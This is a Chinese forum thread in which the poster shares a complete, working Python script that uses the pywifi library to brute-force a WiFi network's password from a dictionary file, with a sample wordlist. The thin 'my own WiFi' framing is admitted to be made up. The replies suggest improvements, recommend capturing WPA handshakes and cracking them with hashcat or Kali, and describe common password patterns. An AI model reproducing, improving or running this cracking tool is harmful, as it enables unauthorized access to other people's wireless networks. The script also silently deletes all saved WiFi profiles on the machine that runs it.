有兴趣的朋友可以帮完善一下py脚本 - 穷举法连接自家WiFi

@Ta 2023-02-02 326点击

你猜我为什么说是自家WiFi?
假设我忘了自家WiFi密码,然后别人给我撸了一个py脚本,用密码字典穷举,然后连上了,以上内容我瞎编的。

目测这是一款用py编写的穷举WiFi脚本

实测:不能暂停,不能继续,不能输出穷举到第几行密码,以及不能显示最后成功密码是多少等问题。

而且还要编辑py脚本输入选择哪个WiFi进行穷举。(应该单独把配置项抽离出来的)

虽然缺点挺多,至少是真的能穷举并且成功连上WiFi

还需要安装以下依赖

pip install comtypes
pip install pywifi

脚本源码(不要在意我屏蔽的关键字**):pw.py

# coding:utf-8
import pywifi
from pywifi import const
import time
import datetime

#测试连接,返回链接结果
def wifiConnect(pwd):
    #抓取网卡接口
    wifi=pywifi.PyWiFi()
    #获取第一个无线网卡
    ifaces=wifi.interfaces()[0]
    #断开所有连接
    ifaces.disconnect()
    time.sleep(1)
    wifistatus=ifaces.status()
    if wifistatus ==const.IFACE_DISCONNECTED:
        #创建WiFi连接文件
        profile=pywifi.Profile()
        #要连接WiFi的名称
        profile.ssid="TP-LINK_****"
        
        #网卡的开放状态
        profile.auth=const.AUTH_ALG_OPEN
        #wifi加密算法,一般wifi加密算法为wps
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #加密单元
        profile.cipher=const.CIPHER_TYPE_CCMP
        #调用密码
        profile.key=pwd
        #删除所有连接过的wifi文件
        ifaces.remove_all_network_profiles()
        #设定新的连接文件
        tep_profile=ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        #wifi连接时间
        time.sleep(1)
        if ifaces.status()==const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi连接") 
 
#读取密码本
def readPassword():
    print("开始穷举:")
    #密码本路径
    path="D:\\Users\\TabKey9\\Desktop\\wifi\\test.txt"
#打开文件
    file=open(path,"r")
    while True:
        try:
            #一行一行读取
            pad=file.readline()
            bool=wifiConnect(pad)
            
            if bool:
                print("密码已**: ",pad)
                print("WiFi已自动连接!!!")
                break
            #else:
                #跳出当前循环,进行下一次循环
                #print("密码**中....密码校对: ",pad)
        except:
            continue
 
start=datetime.datetime.now() 
readPassword()
end=datetime.datetime.now()
print("**WIFI密码一共用了多长时间:{}".format(end-start))

密码本格式 test.txt

12345678
12345678
12345678
12345678
12345678
12345678
12345678
12345678
12345678
12345678
12345678
12345678
123456789
12345678@
12345678@123
12345678@999
12345678911
123456
123456777
回复列表(16|隐藏机器人聊天)
  • hik
    @Ta / 2023-02-02 / /

    Python暴力破解WiFi密码源码,从营销号那搞的带GUI,基本就只能当学习学习代码用,跑一个密码要花2~3秒,,暴力破解根本就是瞎扯了,字典要跑到猴年马月。有实用意义的还是得靠Kali 如何暴力破解密码WiFi教程 Kali

  • @Ta / 2023-02-02 / /

    我记得kali还是奶瓶linux来着,就是专门干这个的。还可以自定义密码生成规则的。以前高中蹭网的时候就整天折腾这些
    小米20定制版

  • @Ta / 2023-02-02 / /
    @幻阳化翼,网上有密码字典生成器,我电脑里存着一份1个g的密码字典!为了验证这个脚本是否可用,我还另外准备了一份简短的密码字典其中包含真实密码。

    奶瓶我也用过,那个需要准备u盘安装奶瓶并进去系统,太麻烦!这个脚本我在windows下就可以穷举
  • @Ta / 2023-02-02 / /

    @TabKey9,windows下断开重连速度太慢了吧,密码少倒还勉强能用
    小米20定制版

  • @Ta / 2023-02-02 / /

    尝试一次就将试过的密码写入一个文本文件,成功连接就退出程序。这样即能知道进度,也能找到成功的密码(最后一个)
    小米20定制版

  • @Ta / 2023-02-02 / /

    @TabKey9,我记得有专门的工具,抓握手包,再跑字典穷举的

  • @Ta / 2023-02-02 / /

    python的包是真的多,雀氏牛逼

  • @Ta / 2023-02-02 / /

    想想都心累,穷举不可靠啊

  • @Ta / 2023-02-02 / /
    I Am What I Am
    抓握手包,hashcat跑包

    看过/data/misc/wifi/wpa_supplicant.conf,记得常见WiFi密码,应该也就8-15位吧,字母数字组合居多,其中数字多是包含生日和手机号,字母一般在数字前面,占3-5位,

    一样的讨厌黑暗,但是我选择了去成为一道光
  • @Ta / 2023-02-03 / /

    断开连接跑太慢了,还容易被拦截,还不如kali抓包,多线程跑抓的包

  • @Ta / 2023-02-03 / /
    @幻阳化翼,是的,windows下wifi断开重连速度相当慢!你6楼的想法不错,但我不会py,也就没顺手改造了,而是直接分享出来!

    其它楼层说的也不无道理,但是我感觉这个脚本的优势在于可以在windows下穷举密码!@无名啊@小赵@乄杺
  • @Ta / 2023-02-03 / /

    # 删除所有连接过的wifi文件
    ifaces.remove_all_network_profiles()

    风险提示:执行该脚本会丢失当前Windows系统下,以前成功连接过WiFi的密码,介意的话勿用!

  • @Ta / 2023-02-03 / /

    @TabKey9,感觉还是应该努力抓个握手包,后续跑字典时,都不需要连WIFI了,一秒钟能试好多个密码

  • @Ta / 2023-02-03 / /
    太慢,没有实际意义
  • @Ta / 2023-02-03 / /
    @无名啊,有道理,Windows环境下可以抓别人连接WiFi的握手包?技术含量是不是偏高了
  • @Ta / 2023-02-03 / /

    @TabKey9,应该就是 1 楼 @hik 说的,kali 暴力破解 WIFI 文章里提到的工具

添加新回复
回复需要登录